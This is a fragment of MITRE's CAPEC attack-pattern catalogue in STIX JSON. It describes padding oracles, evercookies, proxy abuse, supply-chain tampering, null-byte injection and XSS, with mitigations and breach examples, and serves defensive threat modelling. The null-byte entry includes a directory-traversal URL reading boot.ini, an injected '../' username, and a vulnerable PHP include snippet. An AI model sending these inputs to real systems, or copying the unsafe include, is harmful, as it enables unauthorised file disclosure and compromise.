"An adversary sends a request containing ciphertext to the target system. Due to the browser's same origin policy, the adversary is not able to see the response directly, but can use cross-domain information leak techniques to still get the information needed (i.e., information on whether or not a padding error has occurred). This can be done using \"img\" tag plus the onerror()/onload() events. The adversary's JavaScript can make web browsers to load an image on the target site, and know if the image is loaded or not. This is 1-bit information needed for the padding oracle attack to work: if the image is loaded, then it is valid padding, otherwise it is not."
],
"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
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"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"name": "coa-463-0",
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"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"description": "Design: Use a message authentication code (MAC) or another mechanism to perform verification of message authenticity / integrity prior to decryption",
"x_capec_version": "3.4",
"type": "course-of-action",
"id": "course-of-action--e62691da-d711-47e8-8c82-b97dcb9b3a05"
},
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"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
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],
"x_capec_version": "3.4",
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"id": "relationship--a67f1d51-adca-411e-89d1-92f674949ad3",
"source_ref": "course-of-action--e62691da-d711-47e8-8c82-b97dcb9b3a05",
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},
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"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
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],
"description": "Implementation: Do not leak information back to the user as to any cryptography (e.g., padding) encountered during decryption.",
"x_capec_version": "3.4",
"type": "course-of-action",
"id": "course-of-action--330dc21b-bad8-4391-98c9-c29f84c83208"
},
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"id": "relationship--4c01803b-7af5-4c55-98ce-633b944b0847",
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"relationship_type": "mitigates",
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},
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"id": "attack-pattern--ed57f38c-2f0c-47ad-a6e2-16932fde978f",
"name": "Evercookie",
"description": "An attacker creates a very persistent cookie that stays present even after the user thinks it has been removed. The cookie is stored on the victim's machine in over ten places to include: Standard HTTP Cookies, Local Shared Objects (Flash Cookies), Silverlight Isolated Storage, Storing cookies in RGB values of auto-generated, force-cached, PNGs using HTML5 Canvas tag to read pixels (cookies) back out, Storing cookies in Web History, Storing cookies in HTTP ETags, Storing cookies in Web cache, window.name caching, Internet Explorer userData storage, HTML5 Session Storage, HTML5 Local Storage, HTML5 Global Storage, HTML5 Database Storage via SQLite, among others. When the victim clears the cookie cache via traditional means inside the browser, that operation removes the cookie from certain places but not others. The malicious code then replicates the cookie from all of the places where it was not deleted to all of the possible storage locations once again. So the victim again has the cookie in all of the original storage locations. In other words, failure to delete the cookie in even one location will result in the cookie's resurrection everywhere. The evercookie will also persist across different browsers because certain stores (e.g., Local Shared Objects) are shared between different browsers.",
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],
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/464.html",
"external_id": "CAPEC-464"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/359.html",
"external_id": "CWE-359"
},
{
"source_name": "reference_from_CAPEC",
"description": "Samy Kamkar, Evercookie, 2010--09---09",
"url": "http://samy.pl/evercookie/",
"external_id": "REF-401"
}
],
"x_capec_typical_severity": "Medium",
"x_capec_prerequisites": [
"The victim's browser is not configured to reject all cookiesThe victim visits a website that serves the attackers' evercookie"
],
"x_capec_resources_required": [
"Evercookie source code"
],
"x_capec_abstraction": "Standard",
"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
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"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"name": "coa-464-0",
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],
"description": "Design: Browser's design needs to be changed to limit where cookies can be stored on the client side and provide an option to clear these cookies in all places, as well as another option to stop these cookies from being written in the first place.",
"x_capec_version": "3.4",
"type": "course-of-action",
"id": "course-of-action--613f9459-29ce-43e4-91dd-68f4e6148ef6"
},
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],
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"type": "relationship",
"id": "relationship--e1626045-707b-4f32-995a-db4309834849",
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"target_ref": "attack-pattern--ed57f38c-2f0c-47ad-a6e2-16932fde978f"
},
{
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"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"name": "coa-464-1",
"object_marking_refs": [
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],
"description": "Design: Safari browser's private browsing mode is currently effective against evercookies.",
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"type": "course-of-action",
"id": "course-of-action--252ad1a2-1f99-45a1-a6b1-8ed47af8a5c5"
},
{
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"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
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],
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"id": "relationship--8204979e-c9d8-4eee-a37d-f28d5d01c12e",
"source_ref": "course-of-action--252ad1a2-1f99-45a1-a6b1-8ed47af8a5c5",
"relationship_type": "mitigates",
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},
{
"id": "attack-pattern--2b6e94c6-26d0-489c-989c-9f4307348c42",
"name": "Transparent Proxy Abuse",
"description": "A transparent proxy serves as an intermediate between the client and the internet at large. It intercepts all requests originating from the client and forwards them to the correct location. The proxy also intercepts all responses to the client and forwards these to the client. All of this is done in a manner transparent to the client. Transparent proxies are often used by enterprises and ISPs. For requests originating at the client transparent proxies need to figure out the final destination of the client's data packet. Two ways are available to do that: either by looking at the layer three (network) IP address or by examining layer seven (application) HTTP header destination. A browser has same origin policy that typically prevents scripts coming from one domain initiating requests to other websites from which they did not come. To circumvent that, however, malicious Flash or an Applet that is executing in the user's browser can attempt to create a cross-domain socket connection from the client to the remote domain. The transparent proxy will examine the HTTP header of the request and direct it to the remote site thereby partially bypassing the browser's same origin policy. This can happen if the transparent proxy uses the HTTP host header information for addressing rather than the IP address information at the network layer. This attack allows malicious scripts inside the victim's browser to issue cross-domain requests to any hosts accessible to the transparent proxy.",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"object_marking_refs": [
"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/465.html",
"external_id": "CAPEC-465"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/441.html",
"external_id": "CWE-441"
},
{
"source_name": "reference_from_CAPEC",
"description": "Robert Auger, Socket Capable Browser Plugins Result In Transparent Proxy Abuse, 2009",
"url": "http://www.thesecuritypractice.com/the_security_practice/TransparentProxyAbuse.pdf",
"external_id": "REF-402"
}
],
"x_capec_typical_severity": "Medium",
"x_capec_prerequisites": [
"Transparent proxy is usedVulnerable configuration of network topology involving the transparent proxy (e.g., no NAT happening between the client and the proxy)Execution of malicious Flash or Applet in the victim's browser"
],
"x_capec_skills_required": {
"Medium": "Creating malicious Flash or Applet to open a cross-domain socket connection to a remote system"
},
"x_capec_abstraction": "Standard",
"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
{
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"description": "Robert Hansen, Slowris HTTP DoS, 2009--06---17",
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"An attacker exploits weaknesses in a cryptographic algorithm to that allow a private key for a legitimate software vendor to be reconstructed, attacker-created malicious software is cryptographically signed with the reconstructed key, and is installed by the victim operating system disguised as a legitimate software update from the software vendor."
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"\n <xhtml:p>A system does not enforce a strong password policy and the user picks a five letter password consisting of lower case English letters only. The system does not implement any password throttling mechanism. Assuming the adversary does not know the length of the users' password, an adversary can brute force this password in maximum 1+26+26^2+26^3+26^4+26^5 = 1 + 26 + 676 + 17576 + 456976 + 11,881,376 = 12,356,631 attempts, and half these tries (6,178,316) on average. Using modern hardware this attack is trivial. If the adversary were to assume that the user password could also contain upper case letters (and it was case sensitive) and/or numbers, than the number of trials would have been larger.</xhtml:p>\n <xhtml:p>An adversary's job would have most likely been even easier because many users who choose easy to brute force passwords like this are also likely to use a word that can be found in the dictionary. Since there are far fewer valid English words containing up to five letters than 12,356,631, an attack that tries each of the entries in the English dictionary would go even faster.</xhtml:p>\n ",
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"description": "An adversary, through a previously installed malicious application, intercepts messages from a trusted Android-based application in an attempt to achieve a variety of different objectives including denial of service, information disclosure, and data injection. An implicit intent sent from a trusted application can be received by any application that has declared an appropriate intent filter. If the intent is not protected by a permission that the malicious application lacks, then the attacker can gain access to the data contained within the intent. Further, the intent can be either blocked from reaching the intended destination, or modified and potentially forwarded along.",
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"description": "This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.",
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"name": "Password Recovery Exploitation",
"description": "An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure. Most of them use only one security question . For instance, mother's maiden name tends to be a fairly popular one. Unfortunately in many cases this information is not very hard to find, especially if the attacker knows the legitimate user. These generic security questions are also re-used across many applications, thus making them even more insecure. An attacker could for instance overhear a coworker talking to a bank representative at the work place and supplying their mother's maiden name for verification purposes. An attacker can then try to log in into one of the victim's accounts, click on \"forgot password\" and there is a good chance that the security question there will be to provide mother's maiden name. A weak password recovery scheme totally undermines the effectiveness of a strong password scheme.",
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"description": "Advisory: Unauthorized password recovery in phpBannerExchange, 2006, RedTeam Pentesting GmbH",
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"An attacker clicks on the \"forgot password\" and is presented with a single security question. The question is regarding the name of the first dog of the user. The system does not limit the number of attempts to provide the dog's name. An attacker goes through a list of 100 most popular dog names and finds the right name, thus getting the ability to reset the password and access the system.",
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"An attacker supplies the product development facility of a network security device with a hardware component that is used to simulate large volumes of network traffic. The device claims in logs, stats, and via the display panel to be pumping out very large quantities of network traffic, when it is in fact putting out very low volumes. The developed product is adjusted and configured to handle the what it believes to be a heavy network load, but when deployed at the victim site the large volumes of network traffic are dropped instead of being processed by the network security device. This allows the attacker an advantage when attacking the victim in that the attacker's presence may not be detected by the device."
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"id": "attack-pattern--8e564ade-17a8-471e-8e2a-4dd2d556ecd2",
"name": "Documentation Alteration to Circumvent Dial-down",
"description": "An attacker with access to a manufacturer's documentation, which include descriptions of advanced technology and/or specific components' criticality, alters the documents to circumvent dial-down functionality requirements. This alteration would change the interpretation of implementation and manufacturing techniques, allowing for advanced technologies to remain in place even though these technologies might be restricted to certain customers, such as nations on the terrorist watch list, giving the attacker on the receiving end of a shipped product access to an advanced technology that might otherwise be restricted.",
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"object_marking_refs": [
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"created": "2014-06-23T00:00:00.000Z",
"modified": "2019-09-30T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/517.html",
"external_id": "CAPEC-517"
},
{
"source_name": "reference_from_CAPEC",
"description": "John F. Miller, Supply Chain Attack Framework and Attack Patterns, 2013, The MITRE Corporation",
"url": "http://www.mitre.org/sites/default/files/publications/supply-chain-attack-framework-14-0228.pdf",
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"x_capec_typical_severity": "High",
"x_capec_prerequisites": [
"Advanced knowledge of internal software and hardware components within manufacturer's development environment.",
"Access to the manufacturer's documentation."
],
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"High": "Ability to stealthly gain access via remote compromise or physical access to the manufacturer's documentation."
},
"x_capec_abstraction": "Detailed",
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"A product for manufacture exists that contains advanced cryptographic capabilities, including algorithms that are restricted from being shipped to some nations. An attacker from one of the restricted nations alters the documentation to ensure that when the product is manufactured for shipment to a restricted nation, the software compilation steps that normally would prevent the advanced cryptographic capabilities from being included are actually included. When the product is shipped to the attacker's home country, the attacker is able to retrieve and/or use the advanced cryptographic capabilities."
],
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"x_capec_version": "3.4",
"type": "attack-pattern"
},
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"id": "attack-pattern--5f0e5e3b-6889-4583-81ec-5afecbd6765e",
"name": "Documentation Alteration to Produce Under-performing Systems",
"description": "An attacker with access to a manufacturer's documentation alters the descriptions of system capabilities with the intent of causing errors in derived system requirements, impacting the overall effectiveness and capability of the system, allowing an attacker to take advantage of the introduced system capability flaw once the system is deployed.",
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"created": "2014-06-23T00:00:00.000Z",
"modified": "2019-09-30T00:00:00.000Z",
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{
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"url": "https://capec.mitre.org/data/definitions/518.html",
"external_id": "CAPEC-518"
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"source_name": "reference_from_CAPEC",
"description": "John F. Miller, Supply Chain Attack Framework and Attack Patterns, 2013, The MITRE Corporation",
"url": "http://www.mitre.org/sites/default/files/publications/supply-chain-attack-framework-14-0228.pdf",
"external_id": "REF-439"
}
],
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"x_capec_typical_severity": "High",
"x_capec_prerequisites": [
"Advanced knowledge of software and hardware capabilities of a manufacturer's product.",
"Access to the manufacturer's documentation."
],
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"High": "Ability to stealthly gain access via remote compromise or physical access to the manufacturer's documentation."
},
"x_capec_abstraction": "Detailed",
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"A security subsystem involving encryption is a part of a product, but due to the demands of this subsystem during operation, the subsystem only runs when a specific amount of memory and processing is available. An attacker alters the descriptions of the system capabilities so that when deployed with the minimal requirements at the victim location, the encryption subsystem is never operational, leaving the system in a weakened security state."
],
"x_capec_status": "Draft",
"x_capec_version": "3.4",
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"id": "attack-pattern--3c33e08a-3a4e-4e0f-ae80-6399f6272db7",
"name": "Documentation Alteration to Cause Errors in System Design",
"description": "An attacker with access to a manufacturer's documentation containing requirements allocation and software design processes maliciously alters the documentation in order to cause errors in system design. This allows the attacker to take advantage of a weakness in a deployed system of the manufacturer for malicious purposes.",
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"modified": "2019-09-30T00:00:00.000Z",
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{
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"external_id": "CAPEC-519"
},
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"source_name": "reference_from_CAPEC",
"description": "John F. Miller, Supply Chain Attack Framework and Attack Patterns, 2013, The MITRE Corporation",
"url": "http://www.mitre.org/sites/default/files/publications/supply-chain-attack-framework-14-0228.pdf",
"external_id": "REF-439"
}
],
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"x_capec_typical_severity": "High",
"x_capec_prerequisites": [
"Advanced knowledge of software capabilities of a manufacturer's product.",
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],
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"High": "Ability to stealthly gain access via remote compromise or physical access to the manufacturer's documentation."
},
"x_capec_abstraction": "Detailed",
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"During operation, a firewall will restart various subsystems to reload and implement new rules as added by the user. An attacker alters the software design dependencies in the manufacturer's documentation so that under certain predictable conditions the reload will fail to load in rules resulting in a \"fail open\" state. Once deployed at a victim site, this will allow the attacker to bypass the victim's firewall."
],
"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
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"id": "attack-pattern--7e2a629f-eb4d-4cc9-b086-42c7395b2c3e",
"name": "Embedding NULL Bytes",
"description": "An attacker embeds one or more null bytes in input to the target software. This attack relies on the usage of a null-valued byte as a string terminator in many environments. The goal is for certain components of the target software to stop processing the input when it encounters the null byte(s).",
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"modified": "2020-12-17T00:00:00.000Z",
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{
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"external_id": "CAPEC-52"
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{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/158.html",
"external_id": "CWE-158"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/172.html",
"external_id": "CWE-172"
},
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"source_name": "cwe",
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"external_id": "CWE-173"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/171.html",
"external_id": "CWE-171"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/74.html",
"external_id": "CWE-74"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/20.html",
"external_id": "CWE-20"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/697.html",
"external_id": "CWE-697"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/707.html",
"external_id": "CWE-707"
},
{
"source_name": "WASC",
"description": "Null Byte Injection",
"url": "http://projects.webappsec.org/Null-Byte-Injection",
"external_id": "28"
},
{
"source_name": "OWASP Attacks",
"description": "Embedding Null Code",
"url": "https://owasp.org/www-community/attacks/Embedding_Null_Code"
},
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"source_name": "reference_from_CAPEC",
"description": "G. Hoglund, G. McGraw, Exploiting Software: How to Break Code, 2004--02, Addison-Wesley",
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},
{
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"description": "Adobe Acrobat/Acrobat Reader ActiveX Control Buffer Overflow Vulnerability, iDefense Labs Public Advisory, 2004--08---13, Verisign, Inc.",
"url": "http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=126",
"external_id": "REF-445"
},
{
"source_name": "reference_from_CAPEC",
"description": "PHP Input Validation Vulnerabilities, Bugtraq mailing list archive",
"url": "http://msgs.securepoint.com/bugtraq/",
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}
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"x_capec_typical_severity": "High",
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"The program does not properly handle postfix NULL terminators"
],
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"Medium": "Directory traversal",
"High": "Execution of arbitrary code"
},
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"Integrity": [
"Modify Data",
"Execute Unauthorized Commands (Run Arbitrary Code)"
],
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"Read Data",
"Gain Privileges",
"Execute Unauthorized Commands (Run Arbitrary Code)"
],
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"Gain Privileges"
],
"Authorization": [
"Gain Privileges"
],
"Availability": [
"Execute Unauthorized Commands (Run Arbitrary Code)"
]
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"\n <xhtml:p>Directory Browsing</xhtml:p>\n <xhtml:p>Assume a Web application allows a user to access a set of reports. The path to the reports directory may be something like web/username/reports. If the username is supplied via a hidden field, an attacker could insert a bogus username such as ../../../../../WINDOWS. If the attacker needs to remove the trailing string /reports, then they can simply insert enough characters so the string is truncated. Alternatively the attacker might apply the postfix NULL character (%00) to determine whether this terminates the string.</xhtml:p>\n <xhtml:p>Different forms of NULL to think about include</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"informative\">PATH%00PATH[0x00]PATH[alternate representation of NULL character]<script></script>%00</xhtml:div>\n ",
"\n <xhtml:p>Exploitation of a buffer overflow vulnerability in the ActiveX component packaged with Adobe Systems Inc.'s Acrobat/Acrobat Reader allows remote attackers to execute arbitrary code.</xhtml:p>\n <xhtml:p>The problem specifically exists upon retrieving a link of the following form:</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"informative\">GET /any_existing_dir/any_existing_pdf.pdf%00[long string] HTTP/1.1</xhtml:div>\n <xhtml:p>Where [long string] is a malicious crafted long string containing acceptable URI characters. The request must be made to a web server that truncates the request at the null byte (%00), otherwise an invalid file name is specified and a \"file not found\" page will be returned. Example web servers that truncate the requested URI include Microsoft IIS and Netscape Enterprise. Though the requested URI is truncated for the purposes of locating the file the long string is still passed to the Adobe ActiveX component responsible for rendering the page. This in turn triggers a buffer overflow within RTLHeapFree() allowing for an attacker to overwrite an arbitrary word in memory. The responsible instructions from RTLHeapFree() are shown here:</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"informative\">0x77F83AE5 MOV EAX,[EDI+8]0x77F83AE8 MOV ECX,[EDI+C]...0x77F83AED MOV [ECX],EAX</xhtml:div>\n <xhtml:p>The register EDI contains a pointer to a user-supplied string. The attacker therefore has control over both the ECX and EAX registers used in the shown MOV instruction.</xhtml:p>\n <xhtml:p>Successful exploitation allows remote attackers to utilize the arbitrary word overwrite to redirect the flow of control and eventually take control of the affected system. Code execution will occur under the context of the user that instantiated the vulnerable version of Adobe Acrobat.</xhtml:p>\n <xhtml:p>An attacker does not need to establish a malicious web site as exploitation can occur by adding malicious content to the end of any embedded link and referencing any Microsoft IIS or Netscape Enterprise web server. Clicking on a direct malicious link is also not required as it may be embedded within an IMAGE tag, an IFRAME or an auto-loading script.</xhtml:p>\n <xhtml:p>Successful exploitation requires that a payload be written such that certain areas of the input are URI acceptable. This includes initial injected instructions as well as certain overwritten addresses. This increases the complexity of successful exploitation. While not trivial, exploitation is definitely plausible [REF-445].</xhtml:p>See also: CVE-2004-0629",
"\n <xhtml:p>Consider the following PHP script:</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"informative\">$whatever = addslashes($_REQUEST['whatever']);include(\"/path/to/program/\" . $whatever . \"/header.htm\");</xhtml:div>\n <xhtml:p>A malicious attacker might open the following URL, disclosing the boot.ini file:</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"informative\">http://localhost/phpscript.php?whatever=../../../../boot.ini%00</xhtml:div>\n "
],
"x_capec_execution_flow": "<h2> Execution Flow </h2><div><h3>Explore</h3><ol><li> <p>Identify a place in the program where user input may be used to escalate privileges by for instance accessing unauthorized file system resources through directory browsing.</p></li><li> <p>An attacker realizes that there is a postfix data that gets in the way of getting to the desired resources</p></li></ol></div><div><h3>Exploit</h3><ol><li> <p>An attacker then ads a postfix NULL terminator to the supplied input in order to \"swallow\" the postfixed data when the insertion is taking place. With the postfix data that got in the way of the attack gone, the doors are opened for accessing the desired resources.</p></li></ol></div>",
"x_capec_status": "Draft",
"x_capec_version": "3.4",
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"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
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],
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},
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},
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"id": "attack-pattern--a2328e82-460e-4de6-a459-7005de7befe4",
"name": "Counterfeit Hardware Component Inserted During Product Assembly",
"description": "An attacker with either direct access to the product assembly process or to the supply of subcomponents used in the product assembly process introduces counterfeit hardware components into product assembly. The assembly containing the counterfeit components results in a system specifically designed for malicious purposes.",
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"modified": "2019-09-30T00:00:00.000Z",
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"external_id": "CAPEC-520"
},
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}
],
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"x_capec_typical_severity": "High",
"x_capec_prerequisites": [
"The attacker will need either physical access or be able to supply malicious hardware components to the product development facility."
],
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"High": "Resources to physically infiltrate manufacturer or manufacturer's supplier."
},
"x_capec_abstraction": "Detailed",
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"A manufacturer of a firewall system requires a hardware card which functions as a multi-jack ethernet card with four ethernet ports. The attacker constructs a counterfeit card that functions normally except that packets from the attacker's network are allowed to bypass firewall processing completely. Once deployed at a victim location, this allows the attacker to bypass the firewall unrestricted."
],
"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
{
"id": "attack-pattern--57b78312-1077-4e31-b3a2-5efb96a6c817",
"name": "Hardware Design Specifications Are Altered",
"description": "An attacker with access to a manufacturer's hardware manufacturing process documentation alters the design specifications, which introduces flaws advantageous to the attacker once the system is deployed.",
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"modified": "2015-11-09T00:00:00.000Z",
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"external_id": "CAPEC-521"
},
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"source_name": "reference_from_CAPEC",
"description": "John F. Miller, Supply Chain Attack Framework and Attack Patterns, 2013, The MITRE Corporation",
"url": "http://www.mitre.org/sites/default/files/publications/supply-chain-attack-framework-14-0228.pdf",
"external_id": "REF-439"
}
],
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"x_capec_typical_severity": "High",
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"Advanced knowledge of hardware capabilities of a manufacturer's product.",
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],
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"High": "Ability to stealthly gain access via remote compromise or physical access to the manufacturer's documentation."
},
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"To operate at full capability, a manufacturer's network intrusion detection device needs to have either a Intel Xeon E7-2820 or AMD FX-8350 which have 8 \"cores\" available, allowing for advanced threading needed to handle large volumes of network traffic without resorting to dropping packets from the detection process. The attacker alters the documentation to state that the system design must use the Intel Core Duo or the AMD Phenom II X2, which only have 2 cores, causing the system to drop large amounts of packets during deployment at a victim site with large amounts of network traffic."
],
"x_capec_status": "Draft",
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"type": "attack-pattern"
},
{
"id": "attack-pattern--556f08be-d926-448c-b2c2-88a817a170a4",
"name": "Malicious Hardware Component Replacement",
"description": "An attacker replaces legitimate hardware in the system with faulty counterfeit or tampered hardware in the supply chain distribution channel, with purpose of causing malicious disruption or allowing for additional compromise when the system is deployed.",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
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"created": "2014-06-23T00:00:00.000Z",
"modified": "2015-11-09T00:00:00.000Z",
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{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/522.html",
"external_id": "CAPEC-522"
},
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"source_name": "reference_from_CAPEC",
"description": "John F. Miller, Supply Chain Attack Framework and Attack Patterns, 2013, The MITRE Corporation",
"url": "http://www.mitre.org/sites/default/files/publications/supply-chain-attack-framework-14-0228.pdf",
"external_id": "REF-439"
}
],
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"x_capec_typical_severity": "High",
"x_capec_prerequisites": [
"Physical access to the system after it has left the manufacturer but before it is deployed at the victim location."
],
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"High": "Hardware creation and manufacture of replacement components."
},
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"During shipment the attacker is able to intercept a system that has been purchased by the victim, and replaces a math processor card that functions just like the original, but contains advanced malicious capability. Once deployed, the system functions as normal, but allows for the attacker to remotely communicate with the system and use it as a conduit for additional compromise within the victim's environment."
],
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},
{
"id": "attack-pattern--02570621-96aa-4525-b782-8e3939affac3",
"name": "Malicious Software Implanted",
"description": "An attacker implants malicious software into the system in the supply chain distribution channel, with purpose of causing malicious disruption or allowing for additional compromise when the system is deployed.",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
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],
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-07-30T00:00:00.000Z",
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{
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"external_id": "CAPEC-523"
},
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"source_name": "reference_from_CAPEC",
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"external_id": "REF-439"
}
],
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"Physical access to the system after it has left the manufacturer but before it is deployed at the victim location."
],
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"High": "Malicious software creation."
},
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"An attacker has created a piece of malicious software designed to function as a backdoor in a system that is to be deployed at the victim location. During shipment of the system, the attacker has physical access to the system at a loading dock of an integrator for a short time. The attacker unpacks and powers up the system and installs the malicious piece of software, and configures it to run upon system boot. The system is repackaged and returned to its place on the loading dock, and is shipped and installed at the victim location with the malicious software in place, allowing the attacker to bypass firewalls and remotely gain access to the victim's network for further malicious activities."
],
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"type": "attack-pattern"
},
{
"id": "attack-pattern--f17dd173-6fcf-4f43-8f72-0f274dde5fc5",
"name": "Rogue Integration Procedures",
"description": "An attacker alters or establishes rogue processes in an integration facility in order to insert maliciously altered components into the system. The attacker would then supply the malicious components. This would allow for malicious disruption or additional compromise when the system is deployed.",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
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"description": "An attacker maliciously alters hardware components that will be sold on the gray market, allowing for victim disruption and compromise when the victim needs replacement hardware components for systems where the parts are no longer in regular supply from original suppliers, or where the hardware components from the attacker seems to be a great benefit from a cost perspective.",
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"description": "An adversary contaminates organizational information systems (including devices and networks) by causing them to handle information of a classification/sensitivity for which they have not been authorized. The information is exposed to individuals who are not authorized access to such information, and the information system, device, or network is unavailable while the spill is investigated and mitigated.",
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"source_name": "cwe",
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{
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{
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},
{
"source_name": "ATTACK",
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}
],
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}
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],
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],
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},
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{
"source_name": "cwe",
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},
{
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},
{
"source_name": "cwe",
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},
{
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},
{
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},
{
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{
"source_name": "cwe",
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},
{
"source_name": "cwe",
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},
{
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"url": "https://attack.mitre.org/wiki/Technique/T1078/001",
"external_id": "T1078.001"
},
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},
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"external_id": "T1078.003"
},
{
"source_name": "ATTACK",
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"url": "https://attack.mitre.org/wiki/Technique/T1199",
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},
{
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},
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},
{
"source_name": "reference_from_CAPEC",
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},
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}
],
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],
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},
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],
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],
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"Throughout 2015 and 2016, APT28 \u2014 also known as Pawn Storm, Sednit, Fancy Bear, Sofacy, and STRONTIUM \u2014 leveraged stolen credentials to infiltrate the Democratic National Committee (DNC), the United States Army, the World Anti-Doping Agency (WADA), the Court of Arbitration for Sport (TAS-CAS), and more. In most cases, the legitimate credentials were obtained via calculated spearphishing, tabnabbing, and DNS attacks targeted at corporate webmail systems. APT28 also executed several watering hole attacks, in addition to exploiting several zero-day vulnerabilities within Flash and Windows. The stolen credentials were then utilized to maintain authenticated access, laterally move within the local network, and exfiltrate sensitive information including DNC emails and personal medical records of numerous athletes. [REF-571]",
"In early 2019, FIN6 exploited stolen credentials from an organization within the engineering industry to laterally move within an environment via the Windows\u2019 Remote Desktop Protocol (RDP). Multiple servers were subsequently infected with malware to create malware distribution servers, which were used to distribute the LockerGoga ransomware. [REF-573]"
],
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{
"source_name": "cwe",
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},
{
"source_name": "OWASP Attacks",
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],
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"Gain Privileges (A successful DOM-based XSS attack can enable an adversary to elevate their privilege level and access functionality they should not otherwise be allowed to access.)",
"Execute Unauthorized Commands (A successful DOM-based XSS attack can enable an adversary run arbitrary code of their choosing, thus enabling a complete compromise of the application.)"
],
"Authorization": [
"Gain Privileges (A successful DOM-based XSS attack can enable an adversary to elevate their privilege level and access functionality they should not otherwise be allowed to access.)"
],
"Access_Control": [
"Gain Privileges (A successful DOM-based XSS attack can enable an adversary to elevate their privilege level and access functionality they should not otherwise be allowed to access.)"
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"Integrity": [
"Execute Unauthorized Commands (A successful DOM-based XSS attack can enable an adversary run arbitrary code of their choosing, thus enabling a complete compromise of the application.)",
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],
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}
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"mod_usertrack in Apache 1.3.11 through 1.3.20 generates session ID's using predictable information including host IP address, system time and server process ID, which allows local users to obtain session ID's and bypass authentication when these session ID's are used for authentication. See also: CVE-2001-1534"
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],
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"Gain Privileges (A successful Reflected XSS attack can enable an adversary to elevate their privilege level and access functionality they should not otherwise be allowed to access.)",
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],
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],
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],
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],
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},
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"source_name": "cwe",
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},
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}
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"An application that fails to adequately sanitize or encode untrusted input.",
"An application that stores information provided by the user in data storage of some kind."
],
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},
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],
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"Gain Privileges (A successful Stored XSS attack can enable an adversary to elevate their privilege level and access functionality they should not otherwise be allowed to access.)",
"Execute Unauthorized Commands (A successful Stored XSS attack can enable an adversary run arbitrary code of their choosing, thus enabling a complete compromise of the application.)"
],
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"Gain Privileges (A successful Stored XSS attack can enable an adversary to elevate their privilege level and access functionality they should not otherwise be allowed to access.)"
],
"Access_Control": [
"Gain Privileges (A successful Stored XSS attack can enable an adversary to elevate their privilege level and access functionality they should not otherwise be allowed to access.)"
],
"Integrity": [
"Execute Unauthorized Commands (A successful Stored XSS attack can enable an adversary run arbitrary code of their choosing, thus enabling a complete compromise of the application.)",
"Modify Data (A successful Stored XSS attack can allow an adversary to tamper with application data.)"
],
"Availability": [
"Execute Unauthorized Commands (A successful Stored XSS attack can enable an adversary run arbitrary code of their choosing, thus enabling a complete compromise of the application.)"
]
},
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"An online discussion forum allows its members to post HTML-enabled messages, which can also include image tags. An adversary embeds JavaScript in the image tags of their message. The adversary then sends the victim an email advertising free goods and provides a link to the form for how to collect. When the victim visits the forum and reads the message, the malicious script is executed within the victim's browser."
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{
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"In October 2014 J.P. Morgan's Corporate Challenge website was breached, resulting in adversaries obtaining multiple username/password pairs. A Credential Stuffing attack was then executed against J.P. Morgan Chase, which resulted in over 76 million households having their accounts compromised."
